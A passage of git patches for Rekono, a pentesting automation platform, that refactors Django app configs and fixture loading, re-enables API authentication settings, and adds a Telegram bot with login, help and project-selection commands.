.gitleaksignore .coveragerc +.semgrepignore src/backend/.mypy.ini +src/backend/requirements-dev.txt +src/backend/tests/* *.md -src/backend/reports/ -src/backend/wordlists/ -src/backend/logs/ +LICENSE.txt +src/reports/ +src/wordlists/ +src/logs/ src/frontend/node_modules/* -src/backend/testing/* .DS_Store \ No newline at end of file diff --git a/src/backend/api_tokens/apps.py b/src/backend/api_tokens/apps.py index c5459ef5c..f49ef01cc 100644 --- a/src/backend/api_tokens/apps.py +++ b/src/backend/api_tokens/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class ApiTokensConfig(BaseApp): +class ApiTokensConfig(BaseApp, AppConfig): name = "api_tokens" diff --git a/src/backend/authentications/apps.py b/src/backend/authentications/apps.py index 8379c5362..e7c5989c4 100644 --- a/src/backend/authentications/apps.py +++ b/src/backend/authentications/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class AuthenticationConfig(BaseApp): +class AuthenticationConfig(BaseApp, AppConfig): name = "authentications" diff --git a/src/backend/executions/apps.py b/src/backend/executions/apps.py index 1b8a145e4..7223c4465 100644 --- a/src/backend/executions/apps.py +++ b/src/backend/executions/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class ExecutionsConfig(BaseApp): +class ExecutionsConfig(BaseApp, AppConfig): name = "executions" diff --git a/src/backend/findings/apps.py b/src/backend/findings/apps.py index 6f1b98aef..71af2bf71 100644 --- a/src/backend/findings/apps.py +++ b/src/backend/findings/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class FindingsConfig(BaseApp): +class FindingsConfig(BaseApp, AppConfig): name = "findings" diff --git a/src/backend/framework/apps.py b/src/backend/framework/apps.py index baa7a2384..9248bbbc6 100644 --- a/src/backend/framework/apps.py +++ b/src/backend/framework/apps.py @@ -1,15 +1,33 @@ from pathlib import Path -from typing import Any +from typing import Any, List -from django.apps import AppConfig from django.core import management from django.core.management.commands import loaddata +from django.db.models.signals import post_migrate -class BaseApp(AppConfig): +class BaseApp: + fixtures_path = None + skip_if_model_exists = False + + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Configure fixtures to be loaded after migration + if self.fixtures_path: + post_migrate.connect(self._load_fixtures, sender=self) + def _load_fixtures(self, **kwargs: Any) -> None: - path = Path(__file__).resolve().parent / "fixtures" + if self.skip_if_model_exists: + for model in self._get_models(): + if model and model.objects.exists(): + return management.call_command( loaddata.Command(), - *(path / fixture for fixture in sorted(path.rglob("*.json"))) + *( + self.fixtures_path / fixture + for fixture in sorted(self.fixtures_path.rglob("*.json")) + ) ) + + def _get_models(self) -> List[Any]: + return [] diff --git a/src/backend/input_types/apps.py b/src/backend/input_types/apps.py index c8f92984b..ee32ab439 100644 --- a/src/backend/input_types/apps.py +++ b/src/backend/input_types/apps.py @@ -1,11 +1,9 @@ -from django.db.models.signals import post_migrate +from pathlib import Path + +from django.apps import AppConfig from framework.apps import BaseApp -class InputTypesConfig(BaseApp): +class InputTypesConfig(BaseApp, AppConfig): name = "input_types" - - def ready(self) -> None: - """Run code as soon as the registry is fully populated.""" - # Configure fixtures to be loaded after migration - post_migrate.connect(self._load_fixtures, sender=self) + fixtures_path = Path(__file__).resolve().parent / "fixtures" diff --git a/src/backend/parameters/apps.py b/src/backend/parameters/apps.py index 83a965da6..6e8fc3ad9 100644 --- a/src/backend/parameters/apps.py +++ b/src/backend/parameters/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class ParametersConfig(BaseApp): +class ParametersConfig(BaseApp, AppConfig): name = "parameters" diff --git a/src/backend/platforms/mail/apps.py b/src/backend/platforms/mail/apps.py index 59dd5f99c..b9ae96422 100644 --- a/src/backend/platforms/mail/apps.py +++ b/src/backend/platforms/mail/apps.py @@ -1,20 +1,16 @@ -from typing import Any +from pathlib import Path +from typing import Any, List -from django.db.models.signals import post_migrate +from django.apps import AppConfig from framework.apps import BaseApp -class MailConfig(BaseApp): - name = "mail" +class MailConfig(BaseApp, AppConfig): + name = "platforms.mail" + # fixtures_path = Path(__file__).resolve().parent / "fixtures" + skip_if_model_exists = True - def ready(self) -> None: - """Run code as soon as the registry is fully populated.""" - # Configure fixtures to be loaded after migration - post_migrate.connect(self._load_fixtures, sender=self) - - def _load_fixtures(self, **kwargs: Any) -> None: + def _get_models(self) -> List[Any]: from platforms.mail.models import SMTPSettings - if SMTPSettings.objects.exists(): - return - return super()._load_fixtures(**kwargs) + return [SMTPSettings] diff --git a/src/backend/platforms/telegram_app/apps.py b/src/backend/platforms/telegram_app/apps.py index 694d86330..56f04d5ec 100644 --- a/src/backend/platforms/telegram_app/apps.py +++ b/src/backend/platforms/telegram_app/apps.py @@ -1,20 +1,16 @@ -from typing import Any +from pathlib import Path +from typing import Any, List -from django.db.models.signals import post_migrate +from django.apps import AppConfig from framework.apps import BaseApp -class TelegramAppConfig(BaseApp): - name = "telegram_app" +class TelegramAppConfig(BaseApp, AppConfig): + name = "platforms.telegram_app" + # fixtures_path = Path(__file__).resolve().parent / "fixtures" + skip_if_model_exists = True - def ready(self) -> None: - """Run code as soon as the registry is fully populated.""" - # Configure fixtures to be loaded after migration - post_migrate.connect(self._load_fixtures, sender=self) - - def _load_fixtures(self, **kwargs: Any) -> None: + def _get_models(self) -> List[Any]: from platforms.telegram_app.models import TelegramSettings - if TelegramSettings.objects.exists(): - return - return super()._load_fixtures(**kwargs) + return [TelegramSettings] diff --git a/src/backend/processes/apps.py b/src/backend/processes/apps.py index 79aaaf23a..ccaac6c1a 100644 --- a/src/backend/processes/apps.py +++ b/src/backend/processes/apps.py @@ -1,22 +1,16 @@ -from typing import Any +from pathlib import Path +from typing import Any, List -from django.db.models.signals import post_migrate +from django.apps import AppConfig from framework.apps import BaseApp -class ProcessesConfig(BaseApp): - """Processes Django application.""" - +class ProcessesConfig(BaseApp, AppConfig): name = "processes" + # fixtures_path = Path(__file__).resolve().parent / "fixtures" + skip_if_model_exists = True - def ready(self) -> None: - """Run code as soon as the registry is fully populated.""" - # Configure fixtures to be loaded after migration - post_migrate.connect(self._load_fixtures, sender=self) - - def _load_fixtures(self, **kwargs: Any) -> None: + def _get_models(self) -> List[Any]: from processes.models import Process, Step - if Process.objects.exists() or Step.objects.exists(): - return - return super()._load_fixtures(**kwargs) + return [Process, Step] diff --git a/src/backend/projects/apps.py b/src/backend/projects/apps.py index 9c096dbdc..f9923ceff 100644 --- a/src/backend/projects/apps.py +++ b/src/backend/projects/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class ProjectsConfig(BaseApp): +class ProjectsConfig(BaseApp, AppConfig): name = "projects" diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 2c2d85ea4..01a6c751e 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -20,7 +20,7 @@ # Rekono basic information # ################################################################################ -DESCRIPTION = "Rekono is an automation platform that combines different hacking tools to complete pentesting processes" +DESCRIPTION = "Automation platform that combines different hacking tools to complete pentesting processes" VERSION = "2.0.0" @@ -181,7 +181,7 @@ }, "root": { "handlers": ["console", "file"], - "level": "DEBUG" if DEBUG else "INFO", + "level": "WARNING", # "DEBUG" if DEBUG else "INFO", "propagate": False, }, } @@ -202,14 +202,14 @@ ], "DEFAULT_PAGINATION_CLASS": "framework.pagination.Pagination", "DEFAULT_AUTHENTICATION_CLASSES": [ - # "security.authentication.api.ApiAuthentication", - # "rest_framework_simplejwt.authentication.JWTAuthentication", + "security.authentication.api.ApiAuthentication", + "rest_framework_simplejwt.authentication.JWTAuthentication", ], "DEFAULT_PERMISSION_CLASSES": [ - # "rest_framework.permissions.IsAuthenticated", - # "rest_framework.permissions.DjangoModelPermissions", - # "security.authorization.permissions.ProjectMemberPermission", - # "security.authorization.permissions.OwnerPermission", + "rest_framework.permissions.IsAuthenticated", + "rest_framework.permissions.DjangoModelPermissions", + "security.authorization.permissions.ProjectMemberPermission", + "security.authorization.permissions.OwnerPermission", ], "EXCEPTION_HANDLER": "framework.exceptions.exceptions_handler", } diff --git a/src/backend/security/apps.py b/src/backend/security/apps.py index dc178da89..0c8d15447 100644 --- a/src/backend/security/apps.py +++ b/src/backend/security/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class SecurityConfig(BaseApp): +class SecurityConfig(BaseApp, AppConfig): name = "security" diff --git a/src/backend/settings/apps.py b/src/backend/settings/apps.py index 30acabbcc..a20dabcfb 100644 --- a/src/backend/settings/apps.py +++ b/src/backend/settings/apps.py @@ -1,16 +1,19 @@ -from typing import Any +from pathlib import Path +from typing import Any, List -from django.db.models.signals import post_migrate +from django.apps import AppConfig from framework.apps import BaseApp -class SettingsConfig(BaseApp): +class SettingsConfig(BaseApp, AppConfig): name = "settings" + fixtures_path = Path(__file__).resolve().parent / "fixtures" + skip_if_model_exists = True - def ready(self) -> None: - """Run code as soon as the registry is fully populated.""" - # Configure fixtures to be loaded after migration - post_migrate.connect(self._load_fixtures, sender=self) + def _get_models(self) -> List[Any]: + from settings.models import Settings + + return [Settings] def _load_fixtures(self, **kwargs: Any) -> None: from settings.models import Settings diff --git a/src/backend/settings/fixtures/1_default.json b/src/backend/settings/fixtures/1_default.json index 96a881dd5..de778afdd 100644 --- a/src/backend/settings/fixtures/1_default.json +++ b/src/backend/settings/fixtures/1_default.json @@ -1,6 +1,6 @@ [ { - "model": "settings.Settings", + "model": "settings.settings", "pk": 1, "fields": { "max_uploaded_file_mb": 512, diff --git a/src/backend/target_ports/apps.py b/src/backend/target_ports/apps.py index aae605a26..fe4fc0a3e 100644 --- a/src/backend/target_ports/apps.py +++ b/src/backend/target_ports/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class TargetPortsConfig(BaseApp): +class TargetPortsConfig(BaseApp, AppConfig): name = "target_ports" diff --git a/src/backend/targets/apps.py b/src/backend/targets/apps.py index 255187d4a..06f270945 100644 --- a/src/backend/targets/apps.py +++ b/src/backend/targets/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class TargetsConfig(BaseApp): +class TargetsConfig(BaseApp, AppConfig): name = "targets" diff --git a/src/backend/tasks/apps.py b/src/backend/tasks/apps.py index 82521bf1c..b9097b638 100644 --- a/src/backend/tasks/apps.py +++ b/src/backend/tasks/apps.py @@ -1,5 +1,6 @@ +from django.apps import AppConfig from framework.apps import BaseApp -class TasksConfig(BaseApp): +class TasksConfig(BaseApp, AppConfig): name = "tasks" diff --git a/src/backend/tools/apps.py b/src/backend/tools/apps.py index dfd48e543..d5b47d8bc 100644 --- a/src/backend/tools/apps.py +++ b/src/backend/tools/apps.py @@ -1,18 +1,20 @@ +from pathlib import Path from typing import Any +from django.apps import AppConfig from django.db.models.signals import post_migrate from framework.apps import BaseApp -class ToolsConfig(BaseApp): +class ToolsConfig(BaseApp, AppConfig): """Tool Django application.""" name = "tools" + fixtures_path = Path(__file__).resolve().parent / "fixtures" def ready(self) -> None: """Run code as soon as the registry is fully populated.""" - # Configure fixtures to be loaded after migration - post_migrate.connect(self._load_fixtures, sender=self) + super().ready() post_migrate.connect(self.update_tools_status, sender=self) def update_tools_status(self, **kwargs: Any) -> None: diff --git a/src/backend/users/apps.py b/src/backend/users/apps.py index 01688c743..e5fe78686 100644 --- a/src/backend/users/apps.py +++ b/src/backend/users/apps.py @@ -1,16 +1,16 @@ from typing import Any +from django.apps import AppConfig from django.db.models.signals import post_migrate from framework.apps import BaseApp -from security.authorization.roles import ROLES +from security.authorization.roles import ROLES, Role -class UsersConfig(BaseApp): +class UsersConfig(BaseApp, AppConfig): name = "users" def ready(self) -> None: """Run code as soon as the registry is fully populated.""" - # Initialize user groups based on permissions after migration post_migrate.connect(self.initialize_user_groups, sender=self) def initialize_user_groups(self, **kwargs: Any) -> None: @@ -19,11 +19,13 @@ def initialize_user_groups(self, **kwargs: Any) -> None: permission_model = kwargs["apps"].get_model( app_label="auth", model_name="permission" ) + groups = {} + for role in Role.values: + groups[role], _ = group_model.objects.get_or_create(name=role) for entity, permissions in ROLES.items(): for permission, assigned_roles in permissions.items(): permission = permission_model.objects.get( codename=f"{permission}_{entity}" ) for assigned_role in assigned_roles: - group, _ = group_model.objects.get_or_create(name=assigned_role) - group.permissions.add(permission) + groups[assigned_role].permissions.add(permission) diff --git a/src/backend/wordlists/apps.py b/src/backend/wordlists/apps.py index 7ad6325d2..73d68f817 100644 --- a/src/backend/wordlists/apps.py +++ b/src/backend/wordlists/apps.py @@ -1,33 +1,35 @@ import os -from typing import Any +from pathlib import Path +from typing import Any, List +from django.apps import AppConfig from django.db.models.signals import post_migrate from framework.apps import BaseApp -class WordlistsConfig(BaseApp): +class WordlistsConfig(BaseApp, AppConfig): name = "wordlists" + fixtures_path = Path(__file__).resolve().parent / "fixtures" + skip_if_model_exists = True def ready(self) -> None: """Run code as soon as the registry is fully populated.""" - # Configure fixtures to be loaded after migration - post_migrate.connect(self._load_fixtures, sender=self) + super().ready() post_migrate.connect(self.update_default_wordlists_size, sender=self) def _load_fixtures(self, **kwargs: Any) -> None: - from wordlists.models import Wordlist - - if Wordlist.objects.exists(): - return super()._load_fixtures(**kwargs) self.update_default_wordlists_size() def update_default_wordlists_size(self, **kwargs: Any) -> None: """Update default wordlists size.""" - from wordlists.models import Wordlist - - for wordlist in Wordlist.objects.all(): # For each default wordlist + for wordlist in self._get_models()[0].objects.all(): if os.path.isfile(wordlist.path) and os.access(wordlist.path, os.R_OK): with open(wordlist.path, "rb+") as wordlist_file: # Open uploaded file wordlist.size = len(wordlist_file.readlines()) wordlist.save(update_fields=["size"]) + + def _get_models(self) -> List[Any]: + from wordlists.models import Wordlist + + return [Wordlist] From a1c472845a1f196ff450a48f976f733f5c27c65a Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 13 Nov 2023 19:31:26 +0100 Subject: [PATCH 026/141] Optimization and adaption of Telegram bot to the version 20.6 --- src/backend/authentications/serializers.py | 1 - src/backend/authentications/views.py | 2 +- src/backend/findings/queues.py | 2 +- src/backend/platforms/defect_dojo/apps.py | 22 +- .../defect_dojo/fixtures/1_default.json | 2 +- .../platforms/mail/fixtures/1_default.json | 2 +- src/backend/platforms/mail/notifications.py | 18 +- .../platforms/telegram_app/bot/__init__.py | 0 src/backend/platforms/telegram_app/bot/bot.py | 76 ++++++ .../platforms/telegram_app/bot/commands.py | 156 ++++++++++++ .../telegram_app/bot/conversations.py | 204 +++++++++++++++ .../platforms/telegram_app/bot/enums.py | 21 ++ .../platforms/telegram_app/bot/framework.py | 97 ++++++++ .../telegram_app/bot/mixins/__init__.py | 0 .../bot/mixins/authentications.py | 101 ++++++++ .../telegram_app/bot/mixins/framework.py | 233 ++++++++++++++++++ .../telegram_app/bot/mixins/parameters.py | 93 +++++++ .../telegram_app/bot/mixins/process.py | 35 +++ .../telegram_app/bot/mixins/projects.py | 41 +++ .../telegram_app/bot/mixins/target_ports.py | 61 +++++ .../telegram_app/bot/mixins/targets.py | 72 ++++++ .../telegram_app/bot/mixins/tasks.py | 82 ++++++ .../telegram_app/bot/mixins/tools.py | 120 +++++++++ .../telegram_app/bot/mixins/wordlists.py | 119 +++++++++ .../telegram_app/fixtures/1_default.json | 2 +- .../platforms/telegram_app/framework.py | 39 ++- .../telegram_app/management/__init__.py | 1 + .../management/commands/__init__.py | 1 + .../management/commands/telegram_bot.py | 12 + src/backend/platforms/telegram_app/models.py | 13 +- .../telegram_app/notifications/__init__.py | 0 .../{ => notifications}/notifications.py | 42 +--- .../{ => notifications}/templates.py | 0 .../platforms/telegram_app/serializers.py | 10 +- src/backend/processes/apps.py | 2 +- src/backend/rekono/settings.py | 2 +- src/backend/requirements.txt | 2 +- .../security/authentication/serializers.py | 2 +- .../security/authorization/permissions.py | 5 +- src/backend/target_ports/serializers.py | 5 +- src/backend/tasks/queues.py | 23 +- src/backend/tasks/serializers.py | 18 +- src/backend/users/models.py | 8 +- 43 files changed, 1657 insertions(+), 90 deletions(-) create mode 100644 src/backend/platforms/telegram_app/bot/__init__.py create mode 100644 src/backend/platforms/telegram_app/bot/bot.py create mode 100644 src/backend/platforms/telegram_app/bot/commands.py create mode 100644 src/backend/platforms/telegram_app/bot/conversations.py create mode 100644 src/backend/platforms/telegram_app/bot/enums.py create mode 100644 src/backend/platforms/telegram_app/bot/framework.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/__init__.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/authentications.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/framework.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/parameters.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/process.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/projects.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/target_ports.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/targets.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/tasks.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/tools.py create mode 100644 src/backend/platforms/telegram_app/bot/mixins/wordlists.py create mode 100644 src/backend/platforms/telegram_app/management/__init__.py create mode 100644 src/backend/platforms/telegram_app/management/commands/__init__.py create mode 100644 src/backend/platforms/telegram_app/management/commands/telegram_bot.py create mode 100644 src/backend/platforms/telegram_app/notifications/__init__.py rename src/backend/platforms/telegram_app/{ => notifications}/notifications.py (53%) rename src/backend/platforms/telegram_app/{ => notifications}/templates.py (100%) diff --git a/src/backend/authentications/serializers.py b/src/backend/authentications/serializers.py index 36b845a0b..3b0225975 100644 --- a/src/backend/authentications/serializers.py +++ b/src/backend/authentications/serializers.py @@ -21,7 +21,6 @@ class Meta: model = Authentication fields = ( "id", - "target_port", "name", "secret", "type", diff --git a/src/backend/authentications/views.py b/src/backend/authentications/views.py index 2dd6a9dd3..a67a08ab1 100644 --- a/src/backend/authentications/views.py +++ b/src/backend/authentications/views.py @@ -13,7 +13,7 @@ class AuthenticationViewSet(BaseViewSet): serializer_class = AuthenticationSerializer filterset_class = AuthenticationFilter search_fields = ["name"] - ordering_fields = ["id", "integration", "target_port", "name", "type"] + ordering_fields = ["id", "name", "type"] http_method_names = [ "get", "post", diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py index 9c708596d..68841cec9 100644 --- a/src/backend/findings/queues.py +++ b/src/backend/findings/queues.py @@ -8,7 +8,7 @@ from platforms.defect_dojo.integrations import DefectDojo from platforms.mail.notifications import SMTP from platforms.nvd_nist import NvdNist -from platforms.telegram_app.notifications import Telegram +from platforms.telegram_app.notifications.notifications import Telegram from rq.job import Job logger = logging.getLogger() diff --git a/src/backend/platforms/defect_dojo/apps.py b/src/backend/platforms/defect_dojo/apps.py index bc905e97e..8a5606354 100644 --- a/src/backend/platforms/defect_dojo/apps.py +++ b/src/backend/platforms/defect_dojo/apps.py @@ -1,20 +1,16 @@ -from typing import Any +from pathlib import Path +from typing import Any, List -from django.db.models.signals import post_migrate +from django.apps import AppConfig from framework.apps import BaseApp -class DefectDojoConfig(BaseApp): - name = "defect_dojo" +class DefectDojoConfig(BaseApp, AppConfig): + name = "platforms.defect_dojo" + # fixtures_path = Path(__file__).resolve().parent / "fixtures" + skip_if_model_exists = True - def ready(self) -> None: - """Run code as soon as the registry is fully populated.""" - # Configure fixtures to be loaded after migration - post_migrate.connect(self._load_fixtures, sender=self) - - def _load_fixtures(self, **kwargs: Any) -> None: + def _get_models(self) -> List[Any]: from platforms.defect_dojo.models import DefectDojoSettings - if DefectDojoSettings.objects.exists(): - return - return super()._load_fixtures(**kwargs) + return [DefectDojoSettings] diff --git a/src/backend/platforms/defect_dojo/fixtures/1_default.json b/src/backend/platforms/defect_dojo/fixtures/1_default.json index a168645fd..a7d8dd36c 100644 --- a/src/backend/platforms/defect_dojo/fixtures/1_default.json +++ b/src/backend/platforms/defect_dojo/fixtures/1_default.json @@ -1,6 +1,6 @@ [ { - "model": "defect_dojo.DefectDojo", + "model": "defect_dojo.defectdojosettings", "pk": 1, "fields": { "server": null, diff --git a/src/backend/platforms/mail/fixtures/1_default.json b/src/backend/platforms/mail/fixtures/1_default.json index 7528ca560..726544652 100644 --- a/src/backend/platforms/mail/fixtures/1_default.json +++ b/src/backend/platforms/mail/fixtures/1_default.json @@ -1,6 +1,6 @@ [ { - "model": "mail.SMTPSettings", + "model": "mail.smtpsettings", "pk": 1, "fields": { "host": null, diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index 08e971ce1..cb6b15a8f 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -19,17 +19,21 @@ class SMTP(BaseNotification): def __init__(self) -> None: self.settings = SMTPSettings.objects.first() - self.backend = EmailBackend( - host=self.settings.host, - port=self.settings.port, - username=self.settings.username, - password=self.settings.password, - use_tls=self.settings.tls, + self.backend = ( + EmailBackend( + host=self.settings.host, + port=self.settings.port, + username=self.settings.username, + password=self.settings.password, + use_tls=self.settings.tls, + ) + if self.settings + else None ) self.datetime_format = "%Y-%m-%d %H:%M" def is_available(self) -> bool: - if not self.settings.host or not self.settings.port: + if not self.settings or not self.settings.host or not self.settings.port: return False try: self.backend.open() diff --git a/src/backend/platforms/telegram_app/bot/__init__.py b/src/backend/platforms/telegram_app/bot/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/platforms/telegram_app/bot/bot.py b/src/backend/platforms/telegram_app/bot/bot.py new file mode 100644 index 000000000..9f95dad6d --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/bot.py @@ -0,0 +1,76 @@ +import asyncio +import logging +import time +from warnings import filterwarnings + +from platforms.telegram_app.bot.commands import ( + ClearProject, + Help, + Logout, + ShowProject, + Start, +) +from platforms.telegram_app.bot.conversations import ( + Cancel, + NewPort, + NewTarget, + NewTechnology, + NewVulnerability, + Process, + SelectProject, + Tool, +) +from platforms.telegram_app.framework import BaseTelegram +from platforms.telegram_app.models import TelegramSettings +from telegram.warnings import PTBUserWarning + +filterwarnings( + action="ignore", message=r".*CallbackQueryHandler", category=PTBUserWarning +) + +logger = logging.getLogger() + + +class TelegramBot(BaseTelegram): + commands = [ + Start(), + Logout(), + ShowProject(), + ClearProject(), + SelectProject(), + NewTarget(), + NewPort(), + NewTechnology(), + NewVulnerability(), + Tool(), + Process(), + ] + + def __init__(self) -> None: + self.commands.append(Help(self.commands + [Cancel()])) + super().__init__() + + def _wait_for_token(self, sleep_time: int = 60) -> None: + if not self.settings or not self.settings.token: + logger.info("[Telegram Bot] Waiting while Telegram token is not configured") + while not self.settings or not self.settings.token: + time.sleep(sleep_time) + self.settings = TelegramSettings.objects.first() + self.app = self._get_app() + if not self.app or not self.app.updater or not self.app.bot: + self.settings.token = None + self.settings.save(update_fields=["token"]) + self._wait_for_token(sleep_time) + + def deploy(self) -> None: + self._wait_for_token() + if not self.app or not self.app.updater or not self.app.bot: + return self.deploy() + bot_commands = [] + for command in self.commands: + bot_commands.append((command.get_name(), command.help)) + self.app.add_handler(command) + asyncio.get_event_loop().run_until_complete( + self.app.bot.set_my_commands(bot_commands) + ) + self.app.run_polling() diff --git a/src/backend/platforms/telegram_app/bot/commands.py b/src/backend/platforms/telegram_app/bot/commands.py new file mode 100644 index 000000000..fa7f340ce --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/commands.py @@ -0,0 +1,156 @@ +import logging +from typing import Any, List + +from asgiref.sync import sync_to_async +from platforms.telegram_app.bot.enums import Context, Section +from platforms.telegram_app.bot.framework import BaseTelegramBot +from platforms.telegram_app.models import TelegramChat +from rekono.settings import DESCRIPTION +from telegram import Update +from telegram.ext import CallbackContext, CommandHandler, ConversationHandler +from users.models import User + +logger = logging.getLogger() + + +class BaseCommand(CommandHandler, BaseTelegramBot): + def __init__(self, **kwargs: Any) -> None: + super().__init__(command=self.get_name(), callback=self._execute_command) + + +class Help(BaseCommand): + help = "Show this message" + section = Section.BASIC + allow_readers = True + + def __init__(self, commands: List[BaseTelegramBot]) -> None: + self.bot_commands = commands + [self] + self.bot_commands.sort(key=lambda c: c.section.value) + super().__init__() + + def _build_help_message(self, commands: List[BaseTelegramBot]) -> str: + message = f"{self._escape(DESCRIPTION)}\n" + current_section = None + for command in commands: + if command.section != current_section: + current_section = command.section + message += f"\n*{current_section.value}*\n" + message += f"/{command.get_name()} \- {self._escape(command.help)}\n" + return message + + async def _execute_command(self, update: Update, context: CallbackContext) -> None: + await super()._execute_command(update, context) + chat = await self._get_active_telegram_chat(update) + if chat: + await self._reply( + update, + self._build_help_message( + self.bot_commands + if await self._is_auditor_async(chat) + else [c for c in self.bot_commands if c.allow_readers] + ), + ) + + +class Start(BaseCommand): + help = "Initialize the Rekono bot" + section = Section.BASIC + allow_readers = True + + @sync_to_async + def _update_or_create_telegram_chat_async(self, chat_id: int) -> TelegramChat: + telegram_chat, _ = TelegramChat.objects.update_or_create( + defaults={ + "user": None, + "otp": User.objects.generate_otp(), + "otp_expiration": User.objects.get_otp_expiration_time(), + }, + chat_id=chat_id, + ) + return telegram_chat + + async def _execute_command(self, update: Update, context: CallbackContext) -> None: + await super()._execute_command(update, context) + telegram_chat = await self._update_or_create_telegram_chat_async( + update.effective_chat.id + ) + logger.info( + f"[Security] New login request using the Telegram bot from the chat {telegram_chat.chat_id}" + ) + await self._reply( + update, + """ +*Welcome to Rekono Bot\!* + +Link this chat with your Rekono account by adding the following token to your Rekono profile: + +`{otp}` + +Then, type /help to start hacking\. Enjoy\! +""".format( + otp=telegram_chat.otp + ), + ) + + +class Logout(BaseCommand): + help = "Unlink bot from your account" + section = Section.BASIC + allow_readers = True + + @sync_to_async + def _logout_user_in_telegram_async(self, chat_id: int) -> None: + chat = TelegramChat.objects.filter(chat_id=chat_id).first() + if chat: + if chat.user: + logger.info( + f"[Security] User {chat.user.id} has logged out from the Telegram bot", + extra={"user": chat.user}, + ) + chat.delete() + + async def _execute_command(self, update: Update, context: CallbackContext) -> None: + await super()._execute_command(update, context) + await self._logout_user_in_telegram_async(update.effective_chat.id) + await self._reply(update, "Bye\!") + + +class Cancel(BaseCommand): + help = "Cancel current operation" + section = Section.BASIC + + async def _execute_command(self, update: Update, context: CallbackContext) -> None: + await super()._execute_command(update, context) + self._remove_all_context_values(context) + await self._reply(update, "Operation has been cancelled") + return ConversationHandler.END + + +class SelectionCommands(BaseCommand): + section = Section.SELECTION + + +class ShowProject(SelectionCommands): + help = "Select one project to be used in next commands" + + async def _execute_command(self, update: Update, context: CallbackContext) -> None: + await super()._execute_command(update, context) + project = self._get_context_value(context, Context.PROJECT) + if project: + await self._reply( + update, + f"💼 _Project_ *{self._escape(project.name)}*", + ) + else: + await self._reply( + update, "No selected project\. Use the command /selectproject" + ) + + +class ClearProject(SelectionCommands): + help = "Clear project selection" + + async def _execute_command(self, update: Update, context: CallbackContext) -> None: + await super()._execute_command(update, context) + self._remove_context_value(context, Context.PROJECT) + await self._reply(update, "Project selection has been cleared") diff --git a/src/backend/platforms/telegram_app/bot/conversations.py b/src/backend/platforms/telegram_app/bot/conversations.py new file mode 100644 index 000000000..219578486 --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/conversations.py @@ -0,0 +1,204 @@ +from typing import Any + +from platforms.telegram_app.bot.commands import Cancel +from platforms.telegram_app.bot.enums import Context, Section +from platforms.telegram_app.bot.framework import BaseTelegramBot +from platforms.telegram_app.bot.mixins.authentications import AuthenticationMixin +from platforms.telegram_app.bot.mixins.parameters import ( + InputTechnologyMixin, + InputVulnerabilityMixin, +) +from platforms.telegram_app.bot.mixins.process import ProcessMixin +from platforms.telegram_app.bot.mixins.projects import ProjectMixin +from platforms.telegram_app.bot.mixins.target_ports import TargetPortMixin +from platforms.telegram_app.bot.mixins.targets import TargetMixin +from platforms.telegram_app.bot.mixins.tasks import TaskMixin +from platforms.telegram_app.bot.mixins.tools import ( + ConfigurationMixin, + IntensityMixin, + ToolMixin, +) +from platforms.telegram_app.bot.mixins.wordlists import WordlistMixin +from telegram import Update +from telegram.ext import ( + CallbackContext, + CallbackQueryHandler, + CommandHandler, + ConversationHandler, + MessageHandler, + filters, +) + + +class BaseConversation(ConversationHandler, BaseTelegramBot): + _states_methods = [] + first_state = 0 + + def __init__(self, **kwargs: Any) -> None: + super().__init__( + entry_points=[CommandHandler(self.get_name(), self._save_command_name)], + states={ + index: [ + MessageHandler(filters.TEXT, state_method) + if state_method.__name__.startswith("_create_") + else CallbackQueryHandler(state_method) + ] + for index, state_method in enumerate(self._states_methods) + }, + fallbacks=[Cancel()], + ) + + async def _save_command_name(self, update: Update, context: CallbackContext) -> int: + self._add_context_value(context, Context.COMMAND, self.get_name()) + return await self._states_methods[0](update, context) + + +class SelectProject(BaseConversation, ProjectMixin): + help = "Select one project to be used in next commands" + section = Section.SELECTION + + def __init__(self, **kwargs: Any) -> None: + self._states_methods = [self._ask_for_project, self._save_project] + super().__init__(**kwargs) + + +class BaseConversationFromProject(BaseConversation, ProjectMixin): + async def _ask_for_project(self, update: Update, context: CallbackContext) -> int: + return ( + await super()._ask_for_project(update, context) + if not self._get_context_value(context, Context.PROJECT) + else await self._go_to_next_state( + update, context, self._get_next_state(self._save_project) + ) + ) + + +class NewTarget(BaseConversationFromProject, TargetMixin): + help = "Create new target" + section = Section.TARGETS + + def __init__(self, **kwargs: Any) -> None: + self._states_methods = [ + self._ask_for_project, + self._save_project, + self._ask_for_new_target, + self._create_target, + ] + super().__init__(**kwargs) + + +class NewPort( + BaseConversationFromProject, TargetMixin, TargetPortMixin, AuthenticationMixin +): + help = "Create new target port" + section = Section.TARGETS + + def 